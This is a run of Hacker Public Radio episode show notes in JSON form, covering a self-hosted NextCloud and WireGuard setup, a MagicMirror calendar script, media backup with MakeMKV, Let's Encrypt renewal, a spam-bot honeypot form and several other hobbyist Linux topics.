                                                            A little investigation lead to the fact that my firewall, was seeing this as a DNS Rebinding attack. It correctly blocks these DNS entires. I was able to add an exception under Network > DHCP > Rebind protection > Discard upstream RFC1918 responses.

                                                            \n

                                                            On your router you should check under DHCP/DNS entries for RFC1918 or DNS Rebinding.

                                                            \n

                                                            You can verify your install as follows:

                                                            \n
                                                            # apt-get install -y dnsutils\n\n$ dig nextcloud.example.com\n\n; <<>> DiG 9.16.8-Debian <<>> nextcloud.example.com\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29350\n;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version: 0, flags:; udp: 4096\n;; QUESTION SECTION:\n;nextcloud.example.com.          IN      A\n\n;; ANSWER SECTION:\nnextcloud.example.com.   3600    IN      A       192.168.123.123\n\n;; Query time: 40 msec\n;; SERVER: 192.168.0.71#53(192.168.0.71)\n;; WHEN: Thu Dec 10 16:53:39 GMT 2020\n;; MSG SIZE  rcvd: 65
                                                            \n

                                                            Completing

                                                            \n

                                                            Back in the admin console you should keep upgrading, and fixing errors until it says Your version is up to date. and All checks passed.

                                                            \n

                                                            At this point you are ready to open the server up to your users while they are outside the home, in work or school.

                                                            \n

                                                            Firewall setup

                                                            \n

                                                            timttmy has already done an episode on WireGuard where he goes into the details of how to install it manually.

                                                            \n

                                                            I cheated and used the PIVPN which now supports wireguard.

                                                            \n

                                                            This is a good walkthrough with screenshots in the article Setting up a WireGuard VPN on the Raspberry Pi.

                                                            \n

                                                            Once that's done you should have the following commands available.

                                                            \n
                                                            # pivpn\n::: Control all PiVPN specific functions!\n:::\n::: Usage: pivpn <command> [option]\n:::\n::: Commands:\n:::  -a,  add              Create a client conf profile\n:::  -c,  clients          List any connected clients to the server\n:::  -d,  debug            Start a debugging session if having trouble\n:::  -l,  list             List all clients\n:::  -qr, qrcode           Show the qrcode of a client for use with the mobile app\n:::  -r,  remove           Remove a client\n:::  -h,  help             Show this help dialog\n:::  -u,  uninstall        Uninstall pivpn from your system!\n:::  -up, update           Updates PiVPN Scripts\n:::  -bk, backup           Backup VPN configs and user profiles\n
                                                            \n

                                                            During the install process you will select a port to use. This port needs to be allowed in from the Internet to your internal server. Where this will be done is different for every router, but have a look around for port forwarding or permit access to do this.

                                                            \n

                                                            Setting up Client on LineageOS

                                                            \n

                                                            It is at this point that you will need to have accounts created in NextCloud.

                                                            \n\n

                                                            You can do this under your profile > users in an admin account.

                                                            \n

                                                            I created an account for each of the family members, a generic one for the house, and a readonly one for the MagicMirror.

                                                            \n

                                                            The house account houses (pun intended) the shared calendar, files, and contacts. All the family accounts have read and write access to these, except for the MagicMirror one which only needs to read the calendar and contacts.

                                                            \n

                                                            Fdroid

                                                            \n

                                                            Now you can install the software you will need on your phones.

                                                            \n
                                                              \n
                                                            • NextCloud Synchronization client
                                                            • \n
                                                            • DAVx DAVx⁵ CalDAV/CardDAV Synchronization and Client
                                                            • \n
                                                            • OpenTasks Keep track of your list of goals
                                                            • \n
                                                            • WireGuard Next generation secure VPN network tunnel
                                                            • \n
                                                            \n

                                                            You will need to setup the NextCloud client using the url https://nextcloud.example.com/nextcloud/, username and password.

                                                            \n

                                                            Then you set up DAVx using another url https://nextcloud.example.com/nextcloud/remote.php/dav, but the same , username and password.

                                                            \n

                                                            By the way if you want to access files you can do so via davs://nextcloud.example.com/nextcloud/remote.php/dav/files/house/

                                                            \n

                                                            I set up the NextCloud client to automatically upload photos, and videos to the server.

                                                            \n

                                                            To set up WireGuard you need to create a connection for each device connecting

                                                            \n
                                                            root@nextcloud:~# pivpn add\nEnter a Name for the Client: Mobile_Worker\n::: Client Keys generated\n::: Client config generated\n::: Updated server config\n::: WireGuard reloaded\n======================================================================\n::: Done! Mobile_Worker.conf successfully created!\n::: Mobile_Worker.conf was copied to /home/ken/configs for easy transfer.\n::: Please use this profile only on one device and create additional\n::: profiles for other devices. You can also use pivpn -qr\n::: to generate a QR Code you can scan with the mobile app.\n======================================================================
                                                            \n

                                                            Then open display the qrcode as follows:

                                                            \n
                                                            root@nextcloud:~# pivpn qrcode\n::  Client list  ::\n1) Mobile_Worker\nPlease enter the Index/Name of the Client to show: 
                                                            \n

                                                            Pressing 1 in my case will display the QRCode.

                                                            \n

                                                            Open the WireGuard app on the phone and press + to add an account, and select scan from qr code.

                                                            \n

                                                            Point it to QRCode and that's it.

                                                            \n

                                                            If you want to remove a client, you can just use pivpn remove

                                                            \n
                                                            root@nextcloud:~# pivpn remove\n::  Client list  ::\n1) Mobile_Worker\nPlease enter the Index/Name of the Client to be removed from the list above: 6\nDo you really want to delete Mobile_Worker? [Y/n] y\n::: Updated server config\n::: Client config for Mobile_Worker removed\n::: Client Keys for Mobile_Worker removed\n::: Successfully deleted Mobile_Worker\n::: WireGuard reloaded
                                                            \n

                                                            MagicMirror

                                                            \n

                                                            The final step is to have the MagicMirror in the living room display the shared calendar.

                                                            \n

                                                            To display your calendar there, you need to have an ics iCalendar file.

                                                            \n

                                                            You can get that by login into NextCloud as the MagicMirror user via the web, going to the calendar you desire to export. Click the ... menu and select \"Copy Private Link\".

                                                            \n

                                                            You can then add the ?export at the end of the url to get an ical export.

                                                            \n

                                                            Dave gave me a tip on how to have MagicMirror serve this file, by using its own local webserver. You point it to a local directory eg: https://localhost:8080/modules/.calendars/. Don't forget to create it.

                                                            \n
                                                            mkdir -p ~/MagicMirror/modules/.calendars/
                                                            \n

                                                            I wrote a script that would first get a new version of the ical file, and if it is downloaded correctly would immediately overwrite the previous one.

                                                            \n
                                                            [magicmirror@magicmirror ~]$ cat /home/pi/bin/cal.bash\n#!/bin/bash\nwget --quiet --output-document /home/pi/MagicMirror/modules/.calendars/home_calendar.ics.tmp --auth-no-challenge --http-user=magicmirror --http-password="PASSWORD" "https://nextcloud.example.com/nextcloud/remote.php/dav/calendars/magicmirror/personal_shared_by_House/?export" > /dev/null 2>&1\nif [ -s /home/pi/MagicMirror/modules/.calendars/home_calendar.ics.tmp ]\nthen\n  mv /home/pi/MagicMirror/modules/.calendars/home_calendar.ics.tmp /home/pi/MagicMirror/modules/.calendars/home_calendar.ics\nfi\n[snip...]
                                                            \n

                                                            I then scheduled this to run every 15 minutes.

                                                            \n
                                                            [magicmirror@magicmirror ~]$ crontab -l\n*/15 * * * * /home/pi/bin/cal.bash >/dev/null 2>&1
                                                            \n

                                                            The final step was to update my Calendar entry in the ~/MagicMirror/config/config.js config file.

                                                            \n
                                                                    // Calendar\n        {\n            module: "calendar",\n            header: "Calendar",\n            position: "top_center",\n            config: {\n                colored: true,\n                maxTitleLength: 30,\n                fade: false,\n                calendars: [\n                    {\n                        name: "Family Calendar",\n                        url: "https://localhost:8080/modules/.calendars/home_calendar.ics",\n                        symbol: "calendar-check",\n                        color: "#825BFF" // violet-ish\n                    },\n                    {\n                        name: "Birthday Calendar",\n                        url: "https://localhost:8080/modules/.calendars/birthday_calendar.ics",\n                        symbol: "calendar-check",\n                        color: "#FFCC00" // violet-ish\n                    },\n                    {\n                        // Calendar uses repeated 'RDATE' entries, which this iCal parser\n                        // doesn't seem to recognise. Only the next event is visible, and\n                        // the calendar has to be refreshed *after* the event has passed.\n                        name: "HPR Community News recordings",\n                        url: "https://hackerpublicradio.org/HPR_Community_News_schedule.ics",\n                        symbol: "calendar-check",\n                        color: "#C465A7" // purple\n                    },\n                    {\n                        // https://inzamelkalender.gad.nl/ical-info\n                        name: "GAD Calendar",\n                        url: "https://inzamelkalender.gad.nl/ical/0381200000107654",\n                        symbol: "calendar-check",\n                        color: "#00CC00" // Green\n                    },\n                ]\n            }\n        },
                                                            \n

                                                            The contacts birthday wasn't available to the MagicMirror user immediately after I created it, so I was able to force an update as follows:

                                                            \n
                                                            root@nextcloud:/var/www/html/nextcloud# sudo -u www-data php occ dav:sync-birthday-calendar\nStart birthday calendar sync for all users ...\n    7 [============================]
                                                            \n

                                                            Conclusion

                                                            \n

                                                            With that we have a family sharing solution just like other normal house holds. Yet with the security of knowing that the data doesn't leave the house, and is not being used without your approval.

                                                            \n

                                                            You can tell it's a hit, because now people are scheduling tech support tasks via the app.

                                                            \n

                                                            Ah well.

                                                            \n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"NextCloud, Raspbian, Apache, mariadb, PHP, myphpadmin, wireguard, DNS Rebind, magicmirror2","version":0,"downloads":0,"valid":1}, {"id":3290,"date":"2021-03-12","title":"GIMP: More on Layer Tools and Techniques","duration":887,"summary":"Using some additional tools for for working with Layers in GIMP","notes":"

                                                            When working with layers you often need to use additional tools and techniques to get the results you want. We cover several of the most often used ones in this tutorial, including Transparency, Opacity, Layer Groups, and Linking Layers. You will use these frequently in working with Layers.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layers","version":0,"downloads":0,"valid":1}, {"id":3291,"date":"2021-03-15","title":"The New Audacity and Batch Processing Macros","duration":501,"summary":"A brief look at at the new Audacity and how I got it working for me","notes":"

                                                            When Audacity upgraded it caused some changes that affected my use of it to prepare podcasts I listen to. I did find the answer, though, and I am sharing it with you.

                                                            \n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Audacity, macros, batch processing","version":0,"downloads":0,"valid":1}, {"id":3292,"date":"2021-03-16","title":"Squirrel FSF blog","duration":2785,"summary":"The trouble with HUMANS and HUMAN things.... ","notes":"\n","hostid":377,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"banning software, banning ideology, modernizing, re-evaluating, prejudice","version":0,"downloads":0,"valid":1}, {"id":3293,"date":"2021-03-17","title":"HPR RPG Club reviews Dungeon Raiders","duration":3269,"summary":"Klaatu, Beni, and McNalu review an OSR DnD clone","notes":"

                                                            \nDungeon Raiders is a D&D \"retroclone\", designed to mimic old school gaming.\nIt's a simple system, but is it too simple?\nFind out in today's episode!\n

                                                            \n\n

                                                            \nYou can download Dungeon Raiders for free from Drivethrurpg.com\n

                                                            \n\n

                                                            \nYou can play games with the RPG club.\nSubscribe to the HPR mailing list to learn about our schedule, or email Klaatu at this domain.\n

                                                            \n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"dnd,osr,tabletop,rpg","version":0,"downloads":0,"valid":1}, {"id":3294,"date":"2021-03-18","title":"Update to MakeMKV to back up media","duration":378,"summary":"Update to MakeMKV to back up media, now on Raspberry Pi","notes":"

                                                            This is an update on my previous episode hpr3179 :: MakeMKV to back up media.

                                                            \n

                                                            In the past month, MakeMKV.com has been updated to include Raspberry Pi support.

                                                            \n

                                                            Sources:

                                                            \n\n

                                                            It was a very uneventful \"It's here\"

                                                            \n

                                                            MakeMV on Raspberry Pi (ARM)
                                                            \n\"MakeMV
                                                            Click the thumbnail to see the full-sized image

                                                            \n
                                                            wget https://www.makemkv.com/download/makemkv-bin-1.16.1.tar.gz\nwget https://www.makemkv.com/download/makemkv-oss-1.16.1.tar.gz
                                                            \n

                                                            Unpack both packages and starting from source package and do the following steps:

                                                            \n

                                                            For makemkv-oss package:

                                                            \n
                                                            ./configure\nmake\nsudo make install
                                                            \n

                                                            For makemkv-bin package:

                                                            \n
                                                            make\nsudo make install
                                                            \n

                                                            Install ccextractor and necessary packages

                                                            \n
                                                            sudo apt install libtesseract-dev autoconf sysconftool\n\ngit clone https://github.com/CCExtractor/ccextractor.git\ncd ccextractor/linux/\n./build
                                                            \n

                                                            nnn: command line file browser with vim-like keybindings

                                                            \n

                                                            https://github.com/jarun/nnn

                                                            \n

                                                            Script to rip TV episodes

                                                            \n

                                                            makemkv.tv.sh

                                                            \n
                                                            #!/bin/bash\n#echo "Series?"\nseries=Battlestar\necho "Series: $series"\necho "What Season is this?"\nread season\necho "Season: $season"\necho "Which disc # is this?"\nread disknum\necho "This is disk #$disknum"\necho "Starting with which episode?"\nread episode\n\neject -x20\nmkdir ""disc."$disknum"\nmakemkvcon mkv --progress=-same --minlength=2100 disc:0 all ""disc."$disknum"\ncd ""disc."$disknum"\n\n#episode=1\nepisode=$episode\nfor track in *.mkv\ndo\n  mv $track $series"_S"$season"_D"$disknum"_E"$episode.mkv\n  episode=$((episode+1))\ndone\n\ncd ..
                                                            \n

                                                            Script to convert multiple episodes

                                                            \n

                                                            mkv2mkv_mult.sh

                                                            \n
                                                            #!/bin/bash\nmkdir encoded\nfor i in *.mkv\ndo\n  HandBrakeCLI --first-subtitle --subtitle-default=none -i $i -o "encoded"/"`basename -s .mkv $i`.mkv"\ndone
                                                            \n

                                                            Before and after the rename loop

                                                            \n

                                                            Before rename
                                                            \n\"Before

                                                            \n

                                                            After rename
                                                            \n\"After

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"dvd, blu-ray, backup, nnn","version":0,"downloads":0,"valid":1}, {"id":3295,"date":"2021-03-19","title":"Renewing a Let's Encrypt cert for Home Network use","duration":195,"summary":"How to update a cert when the automatic processes don't work","notes":"

                                                            \nBack in hpr3289 :: NextCloud the hard way, I showed you how to install a Let's Encrypt SSL cert for use on your home network. One of the problems was the fact that the automatic renew tools won't work.\n

                                                            \n

                                                            \nToday I got a reminder email from Let's Encrypt and I used the exact same command to renew it as I did to create it in the first place. The tool is smart enough to know this is a renewal process. \n

                                                            \n

                                                            \nOne thing I forgot to do last time was to remove the TXT record from DNS after I was done. So I had to delete the record and wait a while for the Time To Live (TTL) to expire.\n

                                                            \n

                                                            \nI set about doing a check list so the next time the process can be even faster.\n

                                                            \n
                                                              \n
                                                            1. Run the command
                                                              certbot certonly --manual --preferred-challenges dns
                                                            2. \n
                                                            3. Deploy a DNS TXT record under the name _acme-challenge.nextcloud.example.com
                                                            4. \n
                                                            5. Finish the challenge.
                                                            6. \n
                                                            7. When successful, remove the DNS TXT record as it's not needed for another two months.
                                                            8. \n
                                                            ","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"SSL, Let's Encrypt, Intranet","version":0,"downloads":0,"valid":1}, {"id":3296,"date":"2021-03-22","title":"Spam Bot Honey Pot","duration":364,"summary":"Implementing a honey pot style spam filter for your HTML forms","notes":"

                                                            In this episode of Hacker Public Radio, I will describe the method I chose to combat spam bots filling out my company's contact form. About 99% of the submissions we receive are spam, which makes filtering for valid messages painful. After some research into different methods, I decided to go with the honey pot method.

                                                            \n

                                                            The honey pot method uses an extra text input field to lure the spam bot into filling it out. There are different suggestions for how to hide this extra field from valid users by using either javascript or CSS. With javascript, the honey pot section of the form is removed from the DOM when the page loads, hiding it from your users. The argument for this method is most bots don't implement javascript, so the honey pot field will not be hidden from them. I think that is a valid argument but I didn't want to include extra javascript in my page--so I went with the CSS method.

                                                            \n

                                                            There are references at the end of the show notes to a couple of the articles I read on implementing the honey pot with either javascript or CSS. My take away was, one, don't use the CSS display property set to the value of none to take the input out of the DOM. Sufficiently smart enough bots may know to scan for this, especially if applied directly to the element. Also don't name your classes something obvious to your intent like \"anti-spam-filter\". My guess is the majority of the bots out there aren't that sophisticated, but I figured it couldn't hurt to follow those suggestions.

                                                            \n

                                                            I was already using Bootstrap CSS for our site, so I decided to use Bootstrap's \"sr-only\" class. This class is used for elements that you only want visible to screen readers. It takes the element and uses a combination of absolute positioning, setting the size and width to 1 pixel, setting a negative left margin, and hiding content overflow to prevent the honey pot showing up visually. I figured if the bot was scanning CSS for classes or properties, this wouldn't trigger any warnings. It does bring up the issue of how to prevent impacting the experience of people using screen readers. I applied the aria-hidden attribute with a value of true to the label element surrounding the honey pot input field. \"[this] removes that element and all of its children from the accessibility tree.\" So we now have the field hidden both visually in the browser and from assistive technologies. Given the short end of the stick accessibility usually gets, I doubt there are any spam bots scanning for that ARIA attribute. For the minority of users who might be viewing with the classic lynx browser, I put 'For office use' as the label text before the honey pot, hoping this would get the message across without tipping off the bot to the intended purpose of the related input field.

                                                            \n

                                                            The other main issue with this method is the value of the name attribute used for the input field. Some argue to use obfuscated values like \"mmxxName\" instead of \"name\", or \"sxysPhone\" for \"phone\". Apparently some bots will skip fields they don't recognize. By using more standard names for multiple honey pot fields, it easier to determine if it is a bot. The counter argument to this naming scheme is about the user experience, by obfuscating the name, then browsers won't auto-fill the valid fields of the form. This also brings up the matter of not auto-filling the spam fields by the browser of your users. This is done by setting any of your honey pot input elements' \"autocomplete\" attributes to \"off\".

                                                            \n

                                                            So far this spam filtering method is working nicely. I currently send any messages flagged as spam to a different email address with the subject prepended with the words \"[Spam review]\". Once I am confident there are not that many false positives, I will just skip sending flagged messages. The one issue I have experienced with this method is when using the tab key to move through the form. Since the input field is only visually hidden, it still receives focus as you tab through. If you happen to hit another key while still in the hidden field, it will get captured by the honey pot and then the submission will be flagged as spam.

                                                            \n

                                                            I have created a sample form on my personal site. Please visit URL: https://www.horning.us/hpr/SpamBotHoneyPot.php to try it out. It is a simple PHP page using the GET method when submitting the form. Once you press the submit button you will see the form fields and their values, along with the result messages. I chose to use \"URL\" as the name for my honey pot input field. I use it on my example form, and I use it for my work form. For my work form, a URL is not something we ask to be submitted, and being a common field in forms, makes it very tempting for bots. In my example code, the CSS for hiding the honey pot section is from the minicss.org websites. Their \"visibility-hidden\" class is very similar to Bootstrap's \"sr-only\" class. I would be interested to hear if others have implemented something similar. I would also love to hear from someone who uses a screen reader. Does it prevent the honey pot section from being read?

                                                            \n

                                                            References

                                                            \n\n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Spam, HTML, Forms","version":0,"downloads":0,"valid":1}, {"id":3297,"date":"2021-03-23","title":"Nextcloud Application Updating","duration":136,"summary":"Automatically Update Nextcloud Applications via Cron","notes":"

                                                            Simple method to autoupdate nextcloud apps. An email is sent as summary of actions.

                                                            \n

                                                            Scheduled for 5 AM Sunday - Cron Entry

                                                            \n
                                                            MAILTO=MYEMAILADDRES@MYDOMAIN.com\n0 5 * * 0 /usr/bin/php /var/www/nextcloud/occ app:update --all 2>&1\n# * * * * * command to be executed\n# - - - - -\n# | | | | |\n# | | | | +----- day of week (0 - 6) (Sunday=0)\n# | | | +------- month (1 - 12)\n# | | +--------- day of month (1 - 31)\n# | +----------- hour (0 - 23)\n# +------------- min (0 - 59)
                                                            \n","hostid":273,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Nextcloud,SysAdmin,Admin","version":0,"downloads":0,"valid":1}, {"id":3298,"date":"2021-03-24","title":"Poisoning The Well","duration":1505,"summary":"Shutdown the negativity in our community.","notes":"

                                                            Hot, off the cuff. You can leave feedback at Lyunpaw@gmail.com; \"hpr04\" for the subject line. Emails are seen as plain text and are filtered. Maybe I'll do a show on email; oops now I owe a show.

                                                            ","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"General Content.","version":0,"downloads":0,"valid":1}, {"id":3299,"date":"2021-03-25","title":"Linux Inlaws S01E26: Make your Linux harder","duration":2985,"summary":"Ever wanted to know about AppArmor and SELinux? Then this is your show!","notes":"

                                                            In this episode our two aging heroes discuss the proper temperature to\ndrink beer at (spoiler: it's not 20 degrees as CAMRA would make you believe)\nand the ins and outs of basic and enhanced security on our beloved operating\nsystem. If you ever wanted to know more about Linux Security Modules, AppArmor\nand SELinux and how dames of negotiable affections relate to these concepts,\nthis show is for you.

                                                            \n

                                                            Shownotes:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Linux Security Modules, DAC, MAC, AppArmor, SELinux, Plan 9","version":0,"downloads":0,"valid":1}, {"id":3300,"date":"2021-03-26","title":"YouTube Channels for Learning Spanish, Part 1","duration":984,"summary":"My reviews of some YouTube channels offering free Spanish language lessons.","notes":"

                                                            As I have been learning Spanish I have been making use of a variety of tools and aids. One of the best is YouTube, where there is a wealth of free stuff. Of course, Spanish is not the only language with good resources here, but it is the one I am studying right now. But if you are interested in learning another language, or improving your knowledge of one, you should take a look.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":116,"explicit":0,"license":"CC-BY-SA","tags":"Spanish, Language learning, YouTube","version":0,"downloads":0,"valid":1}, {"id":3301,"date":"2021-03-29","title":"K S P Kerbal Space Program! (Game)","duration":2131,"summary":"400 hours into the game I talk about howto get into Kerbal Space Program!","notes":"
                                                              \n
                                                            • dont ever use return to launch pad or anything always use quick save and load etc .. quick save before launch etc...
                                                            • \n
                                                            • stay away from missions that are high altitudes/ and low speed etc ... for now. stick with ones that are ALT or SPEED only .. do both only if you are sure you can do it.
                                                            • \n
                                                            • use F12 to keep an eye on physics
                                                            • \n
                                                            • to EVA in space you need upgrade astronaut complex first ...
                                                            • \n
                                                            • hit the rest button in the build menu to reset all the stage to .. logical order
                                                            • \n
                                                            • My rules of thumb for parachutes:\n
                                                                \n
                                                              • Mk1s are good for a ton each.
                                                              • \n
                                                              • Radials and drogues are good for 1.5t each.
                                                              • \n
                                                              • Mk2s are good for 2t each.
                                                              • \n
                                                            • \n
                                                            • https://www.youtube.com/watch?v=nprOvWBgsEM&t=1574
                                                            • \n
                                                            • build a plane to do \"conduct survey\" missions ...
                                                            • \n
                                                            • missing SAS buttons ? upgrade at tracking and mission control then level up your Pilot to 3 or use tech tree to unlock mod with SAS https://forum.kerbalspaceprogram.com/index.php?/topic/186853-most-efficient-way-to-level-up-pilots/
                                                            • \n
                                                            • try to just focuses on missions you can complete easily
                                                            • \n
                                                            • when you finish a mission keep an eye on the recovery mod or % at the end it will tell you in the report how much money you lost ....
                                                            • \n
                                                            • sub assembly https://www.youtube.com/watch?v=ZdUyKH4NC1M
                                                            • \n
                                                            • https://www.youtube.com/watch?v=RXKjt11vjps
                                                            • \n
                                                            • https://www.youtube.com/watch?v=mqWppFJGbY8 ( unlock tech tree )
                                                            • \n
                                                            • A good rule of thumb is to simply keep the ship between 200-300 m/s until you are above 12k meters so you aren't burning extra fuel to get through the lower atmosphere where you're going to experience the most drag. https://m.youtube.com/playlist?list=PL-7ICWbZUDjlBrsHIS8mEEj3xIMUQwlp5\n
                                                                \n
                                                              • different rockets work better in vacuum of Space
                                                              • \n
                                                              • for large payloads: Fuel Flow & Asparagus Staging | KSP Beginner's Guide
                                                              • \n
                                                            • \n
                                                            • NERV Rocket : https://www.youtube.com/watch?v=s90tSM0oowo
                                                            • \n
                                                            • 223 hrs and just now getting to build/mechjeb OK...
                                                            • \n
                                                            • COM ranges https://wiki.kerbalspaceprogram.com/wiki/CommNet
                                                            • \n
                                                            • sat build! https://www.youtube.com/watch?v=OYCk_pYx_kE :\n
                                                                \n
                                                              • AE-F33 shell (faring)
                                                              • \n
                                                              • TR-V2 decopuler
                                                              • \n
                                                              • dawn engine
                                                              • \n
                                                              • 2 x pb-x150 xeono
                                                              • \n
                                                              • small inline reaction wheel
                                                              • \n
                                                              • z-200 battery
                                                              • \n
                                                              • ra-15 sat
                                                              • \n
                                                              • OK-T02 probe (remote control )
                                                              • \n
                                                              • communion 16 (for kerbal coms)
                                                              • \n
                                                              • 2x gigantor solar array
                                                              • \n
                                                            • \n
                                                            • toggle debeis and clean up !
                                                            • \n
                                                            • @KSpaceAcademy @KSA_MissionCtrl #KSP #KSP2 @SquadDevs @KerbalSpaceP
                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Kerbal Space Program,KSP,games,space","version":0,"downloads":0,"valid":1}, {"id":3302,"date":"2021-03-30","title":"Input Methods on Ubuntu","duration":924,"summary":"I'm adding some input methods to a standard Ubuntu 20.04 install","notes":"

                                                            First I go to the Language Support window. Either search (press Super/Windows, then type) for\n\"Language Support\" and go there directly, or search for \"Region & Language\", go there, then click\n\"Manage Installed Languages\".

                                                            \n

                                                            There I click Install / Remove Languages ..., check the Chinese I want, then click Apply.

                                                            \n

                                                            Then I add the packages for the input methods I want, either using the command line (apt install)\nor the Ubuntu Software application:

                                                            \n
                                                              \n
                                                            • Chinese Quick: ibus-table-quick-classic
                                                            • \n
                                                            • Chinese Pinyin: ibus-libpinyin
                                                            • \n
                                                            • Chinese (Cantonese) Jyutping: ibus-table-jyutping
                                                            • \n
                                                            \n

                                                            Bonus input method:

                                                            \n
                                                              \n
                                                            • Unicode emoji: ibus-typing-booster
                                                            • \n
                                                            \n

                                                            Now for each user that wants an input method, I search for and go to Region & Language. At the\nbottom of the Input Sources section I click the plus button. The different input methods are found\nby clicking down into different sublists. Click the right choice, then Add:

                                                            \n
                                                              \n
                                                            • Chinese Quick: Chinese -> Chinese (QuickClassic)
                                                            • \n
                                                            • Chinese Pinyin: -> Other -> Chinese (Intelligent Pinyin)
                                                            • \n
                                                            • Chinese (Cantonese) Jyutping: Chinese -> Chinese (Jyutping)
                                                            • \n
                                                            • Unicode emoji: -> Other -> Other (Typing Booster)
                                                            • \n
                                                            • EurKEY: English (United States) -> EurKEY (US based layout with European letters)
                                                            • \n
                                                            \n

                                                            The EurKEY layout is part of the standard English language support in Ubuntu.

                                                            \n

                                                            Finally, to enable unicode color emoji as completion suggestions, switch to the Typing Booster mode\nby pressing Super/Windows+Space repeatedly until you see the rocket in your notification area. Click\nthe rocket -> Unicode symbols and emoji predictions -> On.

                                                            \n

                                                            I owe you a followup episode once I figure out how to make this work for Guix applications running\ninside Ubuntu.

                                                            \n
                                                            \n

                                                            This episode was based on a Fediverse thread:
                                                            https://libranet.de/display/0b6b25a8-6760-517c-52c9-654926232346

                                                            \n

                                                            References for your further study:

                                                            \n
                                                              \n
                                                            • IBus is an input method protocol for the\nGNU/Linux desktop. Other protocols supported are XIM,\nSCIM,\nfcitx and uim. You\nhave to choose one of these to use for all your input methods, but the most common input methods\nexist at least for IBus and the first three of the rest, so this is not as much a limitation as\nit sounds like.
                                                            • \n
                                                            • Quick is a simplification of the\nCangjie input method. Cangjie assigns\nradicals, character components, to 24 keys on the alphabetic keyboard, and you combine these into\na character. In Quick you combine two and then choose a completion from a list.
                                                            • \n
                                                            • Pinyin is a romanization, a Latin alphabetic spelling,\nfor Standard Chinese (Mandarin).
                                                            • \n
                                                            • Jyutping is one of\nmany\nromanizations\nfor\nCantonese.
                                                            • \n
                                                            • Guix is a GNU/Linux OS and also a package manager that can be installed\nand coexist with the GNU/Linux OS you already have, allowing you to mix and match programs from\nboth sources. See also hpr2198 and\nhpr2308.
                                                            • \n
                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ubuntu, input methods, guix, chinese, emoji, eurkey, pinyin, jyutping, cangjie","version":0,"downloads":0,"valid":1}, {"id":3303,"date":"2021-03-31","title":"Slackware on RaspberryPi","duration":1182,"summary":"An alternative to raspberrypi os","notes":"

                                                            a little history

                                                            \n
                                                              \n
                                                            • slackware on arm started by stuart winter in 2002
                                                            • \n
                                                            • became an official port of slackware in 2009
                                                            • \n
                                                            • lots of info at the video podcast on youtube
                                                            • \n
                                                            \n

                                                            why choose slackware

                                                            \n
                                                              \n
                                                            • can do minimal installs easy
                                                            • \n
                                                            • education
                                                            • \n
                                                            • stable and secure
                                                            • \n
                                                            \n

                                                            who should avoid slackware

                                                            \n
                                                              \n
                                                            • unwilling or unable to read and follow directions
                                                            • \n
                                                            • if you think your leet when you use apt instead of apt-get
                                                            • \n
                                                            • if you think commands like dd are 'scary'
                                                            • \n
                                                            \n

                                                            howto

                                                            \n
                                                              \n
                                                            • there is no official port of slackware arm to raspberrypi
                                                            • \n
                                                            • i think this is because of raspberrypi has a non standard way of booting compared to most arm devices
                                                            • \n
                                                            • community has stepped in
                                                            • \n
                                                            \n

                                                            on the slackware documentation project website there are 'manual' install projects

                                                            \n
                                                              \n
                                                            • took a while, had to download firmware from the raspberrypi project itself
                                                            • \n
                                                            • quite a bit of cleanup
                                                            • \n
                                                            • this is the guide if you want slackware on a pi-zero
                                                            • \n
                                                            \n\n
                                                              \n
                                                            • guy named phil project lead, started in 2012
                                                            • \n
                                                            • the sarpi project is also a manual process
                                                            • \n
                                                            • even if you don't do this you should look at the website content, this is the way to do a tutorial
                                                            • \n
                                                            • after you download the sources this install is exactly like any other slackware install
                                                            • \n
                                                            • when you get to the package selection its easy to customize
                                                            • \n
                                                            \n

                                                            after install

                                                            \n
                                                              \n
                                                            • you have a complete development environment
                                                            • \n
                                                            • be prepared to up your search foo
                                                            • \n
                                                            • many packages can be built from slackbuilds
                                                            • \n
                                                            \n

                                                            The only mistakes you can't learn from are, your own fatal mistakes

                                                            \n

                                                            Links

                                                            \n\n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"raspberry pi, slackware","version":0,"downloads":0,"valid":1}, {"id":3304,"date":"2021-04-01","title":"Newsflash 21/01/04","duration":178,"summary":"An upgrade to some standard information formats","notes":"

                                                            Introduction

                                                            \n

                                                            After many years of confusion it has been decided to produce a common standard for dates and times between Europe and the United States of America.

                                                            \n

                                                            When encountering a USA date such as 03/14/2021 (known as Pi Day in the USA) there has been ambiguity over which part of the date is the day and which the month. There can also be confusion as to the year if the two-digit form is used.

                                                            \n

                                                            Standardisation is a way in which these sorts of ambiguities can be resolved. Having a common method of representation avoids confusion.

                                                            \n

                                                            Therefore, starting in 2021, in the spirit of clarity and prevention of misunderstanding, the EU has decided to standardise on compatible formats wherever possible.

                                                            \n

                                                            Dates

                                                            \n

                                                            Henceforward dates will be represented in one of the following forms:

                                                            \n
                                                            MM/DD/YY    month/day of month/two-digit year\n\nYY/DD/MM    two-digit year/day of month/month
                                                            \n

                                                            Thus, 21/14/03 or 03/14/21 will be universally recognised as Pi Day.

                                                            \n

                                                            Times

                                                            \n

                                                            The break from the previous tyranny of large|medium|small or small|medium|large formats has been extended to 24-hour time representations.

                                                            \n

                                                            Henceforward 24-hour times will be represented in one of the following forms:

                                                            \n
                                                            SS:HH:MM    seconds:hours:minutes\n\nMM:HH:SS    minutes:hours:seconds
                                                            \n

